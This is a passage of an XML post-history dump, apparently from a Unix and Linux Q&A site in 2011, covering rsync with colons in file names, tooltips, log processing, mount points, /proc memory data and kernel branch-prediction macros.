  <row Id="28118" PostHistoryTypeId="5" PostId="11581" RevisionGUID="1f65460a-e192-4963-808e-304f9751910c" CreationDate="2011-04-18T22:27:16.453" UserId="73" Comment="deleted 18 characters in body" Text="Other than renaming the files first, how do I `rsync` files that have colons in their names?&#xD;&#xA;" />
  <row Id="28119" PostHistoryTypeId="2" PostId="11582" RevisionGUID="8ca77e1a-32ba-4d8b-823b-0f60cb9b20d4" CreationDate="2011-04-18T22:31:55.507" UserId="885" Text="Colons are only special in the first directory component of a command line argument. So if you have what looks like a relative path, prepend `./`.&#xD;&#xA;&#xD;&#xA;    $ mkdir sou:rce&#xD;&#xA;    $ rsync -a sou:rce/ de:st/&#xD;&#xA;    The source and destination cannot both be remote.&#xD;&#xA;    $ rsync -av ./sou:rce/ ./de:st/&#xD;&#xA;    sending incremental file list&#xD;&#xA;    created directory ./de:st&#xD;&#xA;    ./&#xD;&#xA;&#xD;&#xA;In a script:&#xD;&#xA;&#xD;&#xA;    case $source in&#xD;&#xA;      /*) :;;&#xD;&#xA;      *) source=./$source;;&#xD;&#xA;    esac&#xD;&#xA;    case $dest in&#xD;&#xA;      /*) :;;&#xD;&#xA;      *) dest=./$dest;;&#xD;&#xA;    esac&#xD;&#xA;    rsync &quot;$source&quot; &quot;$dest&quot;&#xD;&#xA;" />
  <row Id="28120" PostHistoryTypeId="5" PostId="11581" RevisionGUID="6cff76a2-fd4b-4373-a810-3af59f8ed85b" CreationDate="2011-04-18T22:33:14.087" UserId="885" Comment="added 8 characters in body; edited tags" Text="Other than by renaming the files first, how can I `rsync` files that may have colons in their names?&#xD;&#xA;" />
  <row Id="28121" PostHistoryTypeId="6" PostId="11581" RevisionGUID="6cff76a2-fd4b-4373-a810-3af59f8ed85b" CreationDate="2011-04-18T22:33:14.087" UserId="885" Comment="added 8 characters in body; edited tags" Text="érsyncàéfilenamesà" />
  <row Id="28122" PostHistoryTypeId="2" PostId="11583" RevisionGUID="783f7e04-2f60-4264-a723-cb2f8693250a" CreationDate="2011-04-18T22:41:22.800" UserId="1170" Text="There is a key in gconf-editor: `/apps/panel/global/tooltips_enabled`. Disable that.&#xD;&#xA;&#xD;&#xA;Or from the command line:&#xD;&#xA;&#xD;&#xA;    gconftool-2 --set '/apps/panel/global/tooltips_enabled' --type bool false" />
  <row Id="28123" PostHistoryTypeId="2" PostId="11584" RevisionGUID="53400ca6-96db-4fe1-a72f-7fc9dccf200d" CreationDate="2011-04-18T22:42:25.717" UserId="6722" Text="Hi,&#xD;&#xA;&#xD;&#xA;I am designing a logging and reporting system for a web application.  &#xD;&#xA;Within the web application some events can happen (&quot;user logged in&quot;, &quot;user performed action X&quot;, etc..).  &#xD;&#xA;I would	like the application to	log these events in a flat log file.h  &#xD;&#xA;Then I would like to write another program that would periodically get run and extract data from this file to maintain a running aggregate report in a database table (like &quot;how many events of type X happen per hour&quot;, or &quot;get the daily total of event X&quot;).&#xD;&#xA;&#xD;&#xA;One of the challenges is to make sure that the reporting program doesn't process the same line twice.&#xD;&#xA;&#xD;&#xA;Is there a Unix	way to design this type of system or to deal with the &quot;keep track of lines already processed&quot; kind of problem?&#xD;&#xA;&#xD;&#xA;I already thought about	rotating the logs just before processing them and assigning unique line numbers to each line, but they both seem hacky.&#xD;&#xA;&#xD;&#xA;Thank you." />
  <row Id="28124" PostHistoryTypeId="1" PostId="11584" RevisionGUID="53400ca6-96db-4fe1-a72f-7fc9dccf200d" CreationDate="2011-04-18T22:42:25.717" UserId="6722" Text="starting from last line processed when processing log file several times" />
  <row Id="28125" PostHistoryTypeId="3" PostId="11584" RevisionGUID="53400ca6-96db-4fe1-a72f-7fc9dccf200d" CreationDate="2011-04-18T22:42:25.717" UserId="6722" Text="éscriptingàélogsà" />
  <row Id="28126" PostHistoryTypeId="5" PostId="11583" RevisionGUID="8808c123-75a7-40d1-9489-74656919091f" CreationDate="2011-04-18T22:53:38.203" UserId="1170" Comment="added 223 characters in body; deleted 303 characters in body" Text="1. Open or create the file `~/.gtkrc-2.0`&#xD;&#xA;2. Add this line: `gtk-enable-tooltips = 0`&#xD;&#xA;3. Logout and log back in." />
  <row Id="28127" PostHistoryTypeId="5" PostId="11583" RevisionGUID="a8bcc734-0b62-4fa3-bfa9-78d2b305cffa" CreationDate="2011-04-18T22:58:41.913" UserId="1170" Comment="added 66 characters in body" Text="1. Open or create the file `~/.gtkrc-2.0`&#xD;&#xA;2. Add this line: `gtk-enable-tooltips = 0`&#xD;&#xA;3. Logout and log back in (or switch to another gnome theme then switch back to your theme)." />
  <row Id="28128" PostHistoryTypeId="2" PostId="11585" RevisionGUID="75ce2fb9-2ad4-4985-af55-d5a0934f68ed" CreationDate="2011-04-19T00:07:41.250" UserId="6723" Text="So I am using Ubuntu and trying to use some hardware which I had some problems with before.&#xD;&#xA;&#xD;&#xA;The problem before was that the company who made my hardware sold their internal parts to another company who made some different hardware with the same ID. Someone kindly made a driver for it which came with Ubuntu, but stopped the driver for my device from working. On my last system I just tracked down the kernel module and disabled it.&#xD;&#xA;&#xD;&#xA;I am getting the same message as on my previous machine:&#xD;&#xA;&gt; Could not claim device (Vid: 0x2457, Pid: 0x1002, iface: 0)&#xD;&#xA;&#xD;&#xA;but plugging in the device does not seem to create an entry in /dev like before. How can I find what is claiming my device? I assume that the dmesg:&#xD;&#xA;&gt; usb 4-1: new full speed USB device using ohci_hcd and address 16&#xD;&#xA;&#xD;&#xA;is just saying that it is being detected and it is not ohci that is blocking my access.&#xD;&#xA;&#xD;&#xA;Cheers,&#xD;&#xA;Lucas&#xD;&#xA;" />
  <row Id="28129" PostHistoryTypeId="1" PostId="11585" RevisionGUID="75ce2fb9-2ad4-4985-af55-d5a0934f68ed" CreationDate="2011-04-19T00:07:41.250" UserId="6723" Text="Unclaim a device..." />
  <row Id="28130" PostHistoryTypeId="3" PostId="11585" RevisionGUID="75ce2fb9-2ad4-4985-af55-d5a0934f68ed" CreationDate="2011-04-19T00:07:41.250" UserId="6723" Text="ékernelömodulesàédevicesà" />
  <row Id="28131" PostHistoryTypeId="25" PostId="11570" RevisionGUID="71e6aa41-b7ed-4e96-ade8-e542859505cc" CreationDate="2011-04-19T00:09:09.680" Comment="http://twitter.com/#!/StackUnix/status/60132793493110785" />
  <row Id="28132" PostHistoryTypeId="2" PostId="11586" RevisionGUID="6c6f4114-3172-4c19-9c67-49a5416b042e" CreationDate="2011-04-19T01:20:14.567" UserId="4193" Text="There is hardware calibration available for Linux, if you can find the hardware to do so.  The Sp*der 1 and 2 are allegedly supported.  The Sp*der 3 is right out.    &#xD;&#xA;&#xD;&#xA;[Here][3] is an article on using the Pantone Huey (another inexpensive device that is actually supported on Linux).  The Eye-One Display is also supposedly supported, but can find no positive links.&#xD;&#xA;&#xD;&#xA;This topic is not simple and cannot be summarized in a single posting easily.  Here are a couple of [useful][1] [links][2] on hardware calibration with the Sp*der and ArgyllCMS.&#xD;&#xA;&#xD;&#xA;The Linux Photography blog also has this article on [dispcalGUI here][4].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://jcornuz.wordpress.com/2007/11/16/spyder-the-good-and-the-ugly/&#xD;&#xA;  [2]: http://jcornuz.wordpress.com/2007/11/18/use-colorvision-spyder-to-produce-an-icc-monitor-profile-under-argyllcms-linux/&#xD;&#xA;  [3]: http://www.tuqix.org/wordpress/?p=232&#xD;&#xA;  [4]: http://jcornuz.wordpress.com/2009/03/23/monito-calibration-the-dispcalgui-way/&#xD;&#xA;" />
  <row Id="28133" PostHistoryTypeId="2" PostId="11587" RevisionGUID="f5181820-dba0-4222-b5f6-0e968c908e25" CreationDate="2011-04-19T01:27:46.247" UserId="4193" Text="Can anyone recommend a working DNS-DHCP combo for a small mixed-platform LAN?  Preferably one where hosts can be assigned IP addresses and/or names with a web-GUI.  The typical DHCP package on Linux claims to support BIND, but last I checked, it did not actually work.  Of course, this might be out of date." />
  <row Id="28134" PostHistoryTypeId="1" PostId="11587" RevisionGUID="f5181820-dba0-4222-b5f6-0e968c908e25" CreationDate="2011-04-19T01:27:46.247" UserId="4193" Text="Working DNS-DHCP combo for LAN" />
  <row Id="28135" PostHistoryTypeId="3" PostId="11587" RevisionGUID="f5181820-dba0-4222-b5f6-0e968c908e25" CreationDate="2011-04-19T01:27:46.247" UserId="4193" Text="éserveràédhcpàédnsà" />
  <row Id="28136" PostHistoryTypeId="5" PostId="11586" RevisionGUID="cf5483d7-c63e-4742-87b8-c24eff3c5e63" CreationDate="2011-04-19T01:31:03.857" UserId="4193" Comment="Add positive link for Eye-One." Text="There is hardware calibration available for Linux, if you can find the hardware to do so.  The Sp*der 1 and 2 are allegedly supported.  The Sp*der 3 is right out.    &#xD;&#xA;&#xD;&#xA;[Here][1] is an article on using the Pantone Huey (another inexpensive device that is actually supported on Linux).  The Eye-One Display is also supposedly supported, but can find no instructive links, though [this one is positive][2].&#xD;&#xA;&#xD;&#xA;This topic is not simple and cannot be summarized in a single posting easily.  Here are a couple of [useful][3] [links][4] on hardware calibration with the Sp*der and ArgyllCMS.&#xD;&#xA;&#xD;&#xA;The Linux Photography blog also has this article on [dispcalGUI here][5].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.tuqix.org/wordpress/?p=232&#xD;&#xA;  [2]: http://lists.freedesktop.org/archives/openicc/2007q4/001032.html&#xD;&#xA;  [3]: http://jcornuz.wordpress.com/2007/11/16/spyder-the-good-and-the-ugly/&#xD;&#xA;  [4]: http://jcornuz.wordpress.com/2007/11/18/use-colorvision-spyder-to-produce-an-icc-monitor-profile-under-argyllcms-linux/&#xD;&#xA;  [5]: http://jcornuz.wordpress.com/2009/03/23/monito-calibration-the-dispcalgui-way/" />
  <row Id="28137" PostHistoryTypeId="5" PostId="11586" RevisionGUID="d3e51892-f589-4675-b0f9-fb62a758149f" CreationDate="2011-04-19T01:38:56.940" UserId="4193" Comment="Add link for X-Rite." Text="There is hardware calibration available for Linux, if you can find the hardware to do so.  The Sp*der 1 and 2 are allegedly supported.  The Sp*der 3 is right out.    &#xD;&#xA;&#xD;&#xA;[Here][1] is an article on using the Pantone Huey (another inexpensive device that is actually supported on Linux).  The [X-Rite][2] Eye-One Display is also supposedly supported, but can find no instructive links, though [this one is positive][3].&#xD;&#xA;&#xD;&#xA;This topic is not simple and cannot be summarized in a single posting easily.  Here are a couple of [useful][4] [links][5] on hardware calibration with the Sp*der and ArgyllCMS.&#xD;&#xA;&#xD;&#xA;The Linux Photography blog also has this article on [dispcalGUI here][6].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.tuqix.org/wordpress/?p=232&#xD;&#xA;  [2]: http://www.xrite.com/&#xD;&#xA;  [3]: http://lists.freedesktop.org/archives/openicc/2007q4/001032.html&#xD;&#xA;  [4]: http://jcornuz.wordpress.com/2007/11/16/spyder-the-good-and-the-ugly/&#xD;&#xA;  [5]: http://jcornuz.wordpress.com/2007/11/18/use-colorvision-spyder-to-produce-an-icc-monitor-profile-under-argyllcms-linux/&#xD;&#xA;  [6]: http://jcornuz.wordpress.com/2009/03/23/monito-calibration-the-dispcalgui-way/" />
  <row Id="28138" PostHistoryTypeId="5" PostId="11578" RevisionGUID="45a3ca94-340b-4f11-9e75-82b3f00a5416" CreationDate="2011-04-19T01:46:41.477" UserId="6607" Comment="added 17 characters in body" Text="&lt;strike&gt;The backtick operator means &quot;replace the area between the backticks with the output of the command found inside backticks. The double quotes are so, if that output contains spaces, the variable in question will be set to the full result and not just everything up to the first whitespace.&#xD;&#xA;&#xD;&#xA;E.g., if for some reason your grep command is '/usr/local/bin/real grep', after the execution of,&#xD;&#xA;&#xD;&#xA;    GREP=`which grep`&#xD;&#xA;&#xD;&#xA;GREP would contain &quot;/usr/local/bin/real&quot;&#xD;&#xA;&#xD;&#xA;Whereas with,&#xD;&#xA;&#xD;&#xA;    GREP=&quot;`which grep`&quot;&#xD;&#xA;&#xD;&#xA;GREP would contain &quot;/usr/local/bin/real grep&quot;.&#xD;&#xA;&#xD;&#xA;It's quite unlikely any of the paths of these commands would contain whitespace,&lt;/strike&gt; but it's general good practices in shell scripting to always use double quotes when assigning to a variable." />
  <row Id="28139" PostHistoryTypeId="5" PostId="11586" RevisionGUID="35d56053-76ca-4d7b-ad55-9fd185448b67" CreationDate="2011-04-19T01:55:46.177" UserId="4193" Comment="Not sure about the Sp*der 3, some say it works." Text="There is hardware calibration available for Linux, if you can find the hardware to do so.  The Sp*der 1 and 2 are allegedly supported.  The Sp*der 3 maybe.    &#xD;&#xA;&#xD;&#xA;[Here][1] is an article on using the Pantone Huey (another inexpensive device that is actually supported on Linux).  The [X-Rite][2] Eye-One Display is also supposedly supported, but can find no instructive links, though [this one is positive][3].&#xD;&#xA;&#xD;&#xA;This topic is not simple and cannot be summarized in a single posting easily.  Here are a couple of [useful][4] [links][5] on hardware calibration with the Sp*der and ArgyllCMS.&#xD;&#xA;&#xD;&#xA;The Linux Photography blog also has this article on [dispcalGUI here][6].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.tuqix.org/wordpress/?p=232&#xD;&#xA;  [2]: http://www.xrite.com/&#xD;&#xA;  [3]: http://lists.freedesktop.org/archives/openicc/2007q4/001032.html&#xD;&#xA;  [4]: http://jcornuz.wordpress.com/2007/11/16/spyder-the-good-and-the-ugly/&#xD;&#xA;  [5]: http://jcornuz.wordpress.com/2007/11/18/use-colorvision-spyder-to-produce-an-icc-monitor-profile-under-argyllcms-linux/&#xD;&#xA;  [6]: http://jcornuz.wordpress.com/2009/03/23/monito-calibration-the-dispcalgui-way/" />
  <row Id="28140" PostHistoryTypeId="2" PostId="11588" RevisionGUID="f92add7f-c9ca-4ac1-9c14-425172fbebeb" CreationDate="2011-04-19T01:57:18.983" UserId="6724" Text="We are planning to setup a linux based web hosting solution, which should include an HTTP server, SMTP server, mongoDB and Java. We want to understand which distribution is better for this purpose.&#xD;&#xA;&#xD;&#xA;We very care about:&#xD;&#xA;&#xD;&#xA;1. Security including antivirus, patch policy etc&#xD;&#xA;&#xD;&#xA;2. Performance&#xD;&#xA;&#xD;&#xA;3. Stability&#xD;&#xA;&#xD;&#xA;4. Commercial support&#xD;&#xA;&#xD;&#xA;Thanks,&#xD;&#xA;Green" />
  <row Id="28141" PostHistoryTypeId="1" PostId="11588" RevisionGUID="f92add7f-c9ca-4ac1-9c14-425172fbebeb" CreationDate="2011-04-19T01:57:18.983" UserId="6724" Text="Which is better for product level web server: RHEL/Ubuntu Server/Debian/CentOS" />
  <row Id="28142" PostHistoryTypeId="3" PostId="11588" RevisionGUID="f92add7f-c9ca-4ac1-9c14-425172fbebeb" CreationDate="2011-04-19T01:57:18.983" UserId="6724" Text="élinuxàéserveràéwebserverà" />
  <row Id="28143" PostHistoryTypeId="2" PostId="11589" RevisionGUID="8a037c6d-d8d9-4ed6-9ebe-d7695b18e769" CreationDate="2011-04-19T02:12:07.447" UserId="663" Text="I've got a Linux box running SLES11 with 4 NVIDIA GPUs in it, for running CUDA programs. &#xD;&#xA;&#xD;&#xA;If the GPU is accessed by a process running as root, it changes the permissions on /dev/nvidia{0,1,2,3,ctl} to something inaccessible by non-root users. However, this behavior doesn't seem to occur when running on Ubuntu. &#xD;&#xA;&#xD;&#xA;Does anybody know what would cause this behavior on SLES, and how to disable it?" />
  <row Id="28144" PostHistoryTypeId="1" PostId="11589" RevisionGUID="8a037c6d-d8d9-4ed6-9ebe-d7695b18e769" CreationDate="2011-04-19T02:12:07.447" UserId="663" Text="Permissions changed on /dev/nvidia* when GPU accessed as root on SUSE" />
  <row Id="28145" PostHistoryTypeId="3" PostId="11589" RevisionGUID="8a037c6d-d8d9-4ed6-9ebe-d7695b18e769" CreationDate="2011-04-19T02:12:07.447" UserId="663" Text="ésuseàénvidiaà" />
  <row Id="28146" PostHistoryTypeId="25" PostId="11559" RevisionGUID="fe9f53b0-64d2-46a0-ba9c-7cef64a80fb9" CreationDate="2011-04-19T03:09:10.197" Comment="http://twitter.com/#!/StackUnix/status/60178092865495040" />
  <row Id="28147" PostHistoryTypeId="2" PostId="11590" RevisionGUID="9eb2c389-c968-4d6e-8d7e-478e962c0939" CreationDate="2011-04-19T03:18:09.370" UserId="6726" Text="I want to obtain information about memory used by different users and different processes which users are running and statistics about those processes like memory consumption ,execution speed etc using Linux system calls. I don't want to use commands like free,top etc.Can any one suggest how to do so?  " />
  <row Id="28148" PostHistoryTypeId="1" PostId="11590" RevisionGUID="9eb2c389-c968-4d6e-8d7e-478e962c0939" CreationDate="2011-04-19T03:18:09.370" UserId="6726" Text="Linux system calls" />
  <row Id="28149" PostHistoryTypeId="3" PostId="11590" RevisionGUID="9eb2c389-c968-4d6e-8d7e-478e962c0939" CreationDate="2011-04-19T03:18:09.370" UserId="6726" Text="élinuxà" />
  <row Id="28150" PostHistoryTypeId="2" PostId="11591" RevisionGUID="3fbd3cf6-0417-481d-a676-8c5ee9322e7f" CreationDate="2011-04-19T03:34:34.430" UserId="3082" Text="The [ISC suite][1] works, if a bit complicated to set up. No GUI though. The [dnsmasq][2] server also works well for smaller installations with another authoritative name server. It is one binary so automatic name entries are easy.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.isc.org/software&#xD;&#xA;  [2]: http://www.thekelleys.org.uk/dnsmasq/doc.html" />
  <row Id="28151" PostHistoryTypeId="2" PostId="11592" RevisionGUID="fe18a992-2d7a-48b2-9b7c-6a61e3e1ff45" CreationDate="2011-04-19T04:13:32.713" UserId="4111" Text="I have an NTFS partition (containing a Windows installation from which I dual boot) that I would like to permanently mount from my Linux installation. Problem is, I can't figure out what the best/right/correct mount point for the NTFS partition is. Obviously, it shouldn't be mounted as /home, /usr, etc. (any of the standard mount points for filesystems) because it's not part of the Linux system. I do want it to be permanently mounted, though; and this raises the question, where do I mount it? Here are the mount point possibilities I've come up with:&#xD;&#xA;&#xD;&#xA;### /media/windows ###&#xD;&#xA;This one makes a lot of sense because it would be right alongside auto-mounted devices, but according to [the filesystem standard][1], /media/ is really for removable media, so it doesn't seem quite right to put my permanently mounted, internal partition next to auto-mounted, removable ones. I'm leaning toward this option the most, but only because it is less incongruent than the others.&#xD;&#xA;&#xD;&#xA;### /mnt/windows ###&#xD;&#xA;This one also seems pretty logical, but again, [the standard][2] (and other things I've read) indicate that subdirectory mountpoints are generally discouraged here. Plus, I do actually mount filesystems temporarily in /mnt/ on occasion (as the standard intended it), so this one looks like it would get in the way of regular system use.&#xD;&#xA;&#xD;&#xA;### /windows ###&#xD;&#xA;I really don't like the idea of adding another top-level directory to my filesystem, if I can avoid it. It doesn't feel right. An upside to this one, though, is that it is very easily accessible and doesn't get in the way of anything else (i.e. automounting partitions in /media/ or temporary mounts in /mnt/).&#xD;&#xA;&#xD;&#xA;### /home/[my username]/filesystems/windows ###&#xD;&#xA;I don't like this idea because the partition is decidedly system-specific, not user-specific, so shoving it in a home directory seems not right.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**Which of these options is the &quot;right&quot; one—or is there an alternative I didn't list here?**&#xD;&#xA;&#xD;&#xA;For clarity, note that I am running Linux (Arch Linux in particular), so any recommendations should probably be based on Linux's idea of filesystem organization rather than BSD's, for example.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.pathname.com/fhs/pub/fhs-2.3.html#MEDIAMOUNTPOINT&#xD;&#xA;  [2]: http://www.pathname.com/fhs/pub/fhs-2.3.html#MNTMOUNTPOINTFORATEMPORARILYMOUNT" />
  <row Id="28152" PostHistoryTypeId="1" PostId="11592" RevisionGUID="fe18a992-2d7a-48b2-9b7c-6a61e3e1ff45" CreationDate="2011-04-19T04:13:32.713" UserId="4111" Text="What's the most &quot;correct&quot; mount point for a permanent NTFS partition?" />
  <row Id="28153" PostHistoryTypeId="3" PostId="11592" RevisionGUID="fe18a992-2d7a-48b2-9b7c-6a61e3e1ff45" CreationDate="2011-04-19T04:13:32.713" UserId="4111" Text="élinuxàéfilesystemsàédirectoryàémountà" />
  <row Id="28154" PostHistoryTypeId="2" PostId="11593" RevisionGUID="b5961f2e-ad5d-40e7-af34-2d64b8120f5a" CreationDate="2011-04-19T04:36:02.413" UserId="3082" Text="I don't think there is a problem with creating a new toplevel directory for permanent mounts. That's done pretty frequently. I use /ntfs for this same purpose. &#xD;&#xA;" />
  <row Id="28156" PostHistoryTypeId="2" PostId="11594" RevisionGUID="a49afb0f-281b-4d4f-a190-ef9926af1e1c" CreationDate="2011-04-19T05:54:02.377" UserId="6472" Text="First and foremost, this is going to depend solely on your architecture, and customs.&#xD;&#xA;&#xD;&#xA;I for instance mount things like this under /mnt. I know people that create top level directories, and people who put this stuff in /home. It all depends on what you're comfortable with. Their is no distinct standard on this anymore, the architecture of the system has changed, and you have varying views now, on things that used to be 'gospel'. Things like /usr/local or /opt/share, rpm or source...you get the drift.&#xD;&#xA;&#xD;&#xA;Secondly, if you re-read through your link at pathname, you'll notice the paragraph under /media that states&#xD;&#xA;&#xD;&#xA;&gt; Rationale&#xD;&#xA;&gt;  	&#xD;&#xA;&gt; &#xD;&#xA;&gt; Historically there have been a number&#xD;&#xA;&gt; of other different places used to&#xD;&#xA;&gt; mount removeable media such as /cdrom,&#xD;&#xA;&gt; /mnt or /mnt/cdrom. Placing the mount&#xD;&#xA;&gt; points for all removeable media&#xD;&#xA;&gt; directly in the root directory would&#xD;&#xA;&gt; potentially result in a large number&#xD;&#xA;&gt; of extra directories in /. Although&#xD;&#xA;&gt; the use of subdirectories in /mnt as a&#xD;&#xA;&gt; mount point has recently been common,&#xD;&#xA;&gt; it conflicts with a much older&#xD;&#xA;&gt; tradition of using /mnt directly as a&#xD;&#xA;&gt; temporary mount point.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;So personally, I advocate /mnt/windows or some iteration of that. It keeps the top level dir free, and is simple and intuitive. When I'm looking through or auditing a system, thats where I look for mounts right off the bat." />
  <row Id="28157" PostHistoryTypeId="2" PostId="11595" RevisionGUID="b888f3e1-eebf-49c3-844c-413f29154ed5" CreationDate="2011-04-19T06:00:29.673" UserId="6167" Text="One potential issue with a top-level mount would be a program that stats all the files in a directory.  `ls -l /` or even a colorized ls as is often turned on will have to call `stat()` on all files under root and if the NFS server is hanging, it can cause ls to hang as well.  A simple ls without color does not invoke `stat()`.  This is the reason I most often put somewhere under `/mnt`.  I will still sometimes mount NFS under `/` such as when home directories are available over NFS.&#xD;&#xA;&#xD;&#xA;I also would not use `/media` for any static mounts.  It's a part of HAL and is used for dynamically mounting devices such as when a USB flash drive is inserted and all directories under `/media` are managed by HAL/udev.&#xD;&#xA;&#xD;&#xA;Ultimately, the final destination comes down to policy.  If the server is reasonably reliable, there's nothing wrong with putting it under `/` or creating a new tree such as `/server1/music` and `/server1/video` for mounts.  I tend to like the idea of keeping NFS mounts under `/mnt` with exceptions only for mounts like `/home`, but that's my policy." />
  <row Id="28158" PostHistoryTypeId="25" PostId="11592" RevisionGUID="03be4b13-baa7-45b8-a510-3aaa65d8dcde" CreationDate="2011-04-19T06:09:09.877" Comment="http://twitter.com/#!/StackUnix/status/60223390316904449" />
  <row Id="28159" PostHistoryTypeId="2" PostId="11596" RevisionGUID="7b111b15-d6cb-4a5f-8463-6d13b3641e6f" CreationDate="2011-04-19T06:15:17.757" UserId="6167" Text="It's important to understand how memory is used.  A significant portion of memory is often shared.  Any code used in a program and it's libraries are shared between different processes.  Code is mapped into memory as read-only and is shared by all processes so it not owned by any one user.  Certain libraries like `libc` are used by practically every single process, but are only loaded in RAM once.  Programs that are more code heavily will have more shared memory than programs that are more data heavy.&#xD;&#xA;&#xD;&#xA;To answer your question, nearly all the information that programs like top, free, and ps get comes from scanning the `/proc` filesystem.  Every process has it's own folder named after it's PID.  In there are a number of files like maps that show's it's memory map, comm that shows the command that was executed to start the process, and io that shows I/O usage.  There's an introduction to `/proc` in the [Linux Kernel Documentation](http://www.kernel.org/doc/Documentation/filesystems/proc.txt)." />
  <row Id="28160" PostHistoryTypeId="2" PostId="11597" RevisionGUID="f8a3b953-1701-49f7-a922-64245ec9fff7" CreationDate="2011-04-19T06:20:43.140" UserId="2871" Text="What is the between likely and unlikely calls in Kernel. While searching through the kernel source i found these statements.&#xD;&#xA; &#xD;&#xA;**# define likely(x)      __builtin_expect(!!(x), 1)**  &#xD;&#xA;**# define unlikely(x)    __builtin_expect(!!(x), 0)**  &#xD;&#xA;&#xD;&#xA;Could somebody shed some light into it?" />
  <row Id="28161" PostHistoryTypeId="1" PostId="11597" RevisionGUID="f8a3b953-1701-49f7-a922-64245ec9fff7" CreationDate="2011-04-19T06:20:43.140" UserId="2871" Text="What is the difference between likely and unlikely calls in Kernel?" />
  <row Id="28162" PostHistoryTypeId="3" PostId="11597" RevisionGUID="f8a3b953-1701-49f7-a922-64245ec9fff7" CreationDate="2011-04-19T06:20:43.140" UserId="2871" Text="élinuxàékernelà" />
  <row Id="28163" PostHistoryTypeId="2" PostId="11598" RevisionGUID="52520f9d-49e1-4ce5-8819-3a43d683e16d" CreationDate="2011-04-19T06:22:03.043" UserId="5770" Text="I probably do this the most *incorrectly*. I put it at /media/windows. Putting windows partitions at this mount point has worked for me in the past without a hitch.&#xD;&#xA;&#xD;&#xA;I've also done a top-level /windows in the past and this has also been fine, except I generally look for partitions first at /media out of habit." />
  <row Id="28164" PostHistoryTypeId="5" PostId="11594" RevisionGUID="37e0031a-59e0-4561-b2f8-e0b7cb427f5d" CreationDate="2011-04-19T06:38:48.510" UserId="2421" Comment="fixed grammar" Text="First and foremost, this is going to depend solely on your architecture, and customs.&#xD;&#xA;&#xD;&#xA;I for instance mount things like this under /mnt. I know people that create top level directories, and people who put this stuff in /home. It all depends on what you're comfortable with. There is no distinct standard on this anymore, the architecture of the system has changed, and you have varying views now, on things that used to be 'gospel'. Things like /usr/local or /opt/share, rpm or source...you get the drift.&#xD;&#xA;&#xD;&#xA;Secondly, if you re-read through your link at [pathname.com][1], you'll notice the paragraph under /media that states&#xD;&#xA;&#xD;&#xA;&gt; Rationale&#xD;&#xA;&gt;  	&#xD;&#xA;&gt; &#xD;&#xA;&gt; Historically there have been a number&#xD;&#xA;&gt; of other different places used to&#xD;&#xA;&gt; mount removeable media such as /cdrom,&#xD;&#xA;&gt; /mnt or /mnt/cdrom. Placing the mount&#xD;&#xA;&gt; points for all removeable media&#xD;&#xA;&gt; directly in the root directory would&#xD;&#xA;&gt; potentially result in a large number&#xD;&#xA;&gt; of extra directories in /. Although&#xD;&#xA;&gt; the use of subdirectories in /mnt as a&#xD;&#xA;&gt; mount point has recently been common,&#xD;&#xA;&gt; it conflicts with a much older&#xD;&#xA;&gt; tradition of using /mnt directly as a&#xD;&#xA;&gt; temporary mount point.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;So personally, I advocate /mnt/windows or some iteration of that. It keeps the top level dir free, and is simple and intuitive. When I'm looking through or auditing a system, that's where I look for mounts right off the bat.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.pathname.com/fhs/pub/fhs-2.3.html#MEDIAMOUNTPOINT" />
  <row Id="28165" PostHistoryTypeId="2" PostId="11599" RevisionGUID="73def022-7cc1-40e9-89a7-4b3297cf863d" CreationDate="2011-04-19T07:01:19.500" UserId="3645" Text="File timestamps accuracy is limited to one second for EXT3, one microsecond for UFS, and one nanosecond for EXT4 (at least according to experience). Is there any way to determine this based only on filesystem info?&#xD;&#xA;&#xD;&#xA;The hacky alternatives I can think of are either to limit all my unit tests to seconds (which I do now), or to `touch` a bunch of files and checking which digits are zero in `stat -c %x`." />
  <row Id="28166" PostHistoryTypeId="1" PostId="11599" RevisionGUID="73def022-7cc1-40e9-89a7-4b3297cf863d" CreationDate="2011-04-19T07:01:19.500" UserId="3645" Text="Determine file system timestamp accuracy" />
  <row Id="28167" PostHistoryTypeId="3" PostId="11599" RevisionGUID="73def022-7cc1-40e9-89a7-4b3297cf863d" CreationDate="2011-04-19T07:01:19.500" UserId="3645" Text="éfilesystemsàétimestampsàéaccuracyà" />
  <row Id="28168" PostHistoryTypeId="2" PostId="11600" RevisionGUID="65264e48-4555-4c38-be0d-60cf327d459d" CreationDate="2011-04-19T07:02:15.630" UserId="5842" Text="Rotating the logs before parsing them sounds like a good idea really, as long as your applications don't keep the log file open permanently. If they do, rotating them wont work - but since you're writing the logging framework, you can deal with this.&#xD;&#xA;&#xD;&#xA;If you want a simple scripted thing, you could use something like the following (could be done in pretty much any scripting language):&#xD;&#xA;&#xD;&#xA;    #! /bin/bash&#xD;&#xA;    &#xD;&#xA;    process_line() {&#xD;&#xA;        # do the work here&#xD;&#xA;    	echo &quot;== $1 ==&quot;&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    logfile=$1&#xD;&#xA;    statefile=${logfile}.state&#xD;&#xA;    &#xD;&#xA;    if [ -f ${statefile} ] ; then&#xD;&#xA;    	processed=$(cat $statefile)&#xD;&#xA;    else&#xD;&#xA;    	processed=0&#xD;&#xA;    fi&#xD;&#xA;    &#xD;&#xA;    curline=0&#xD;&#xA;    IFS='&#xD;&#xA;    '&#xD;&#xA;    &#xD;&#xA;    while read 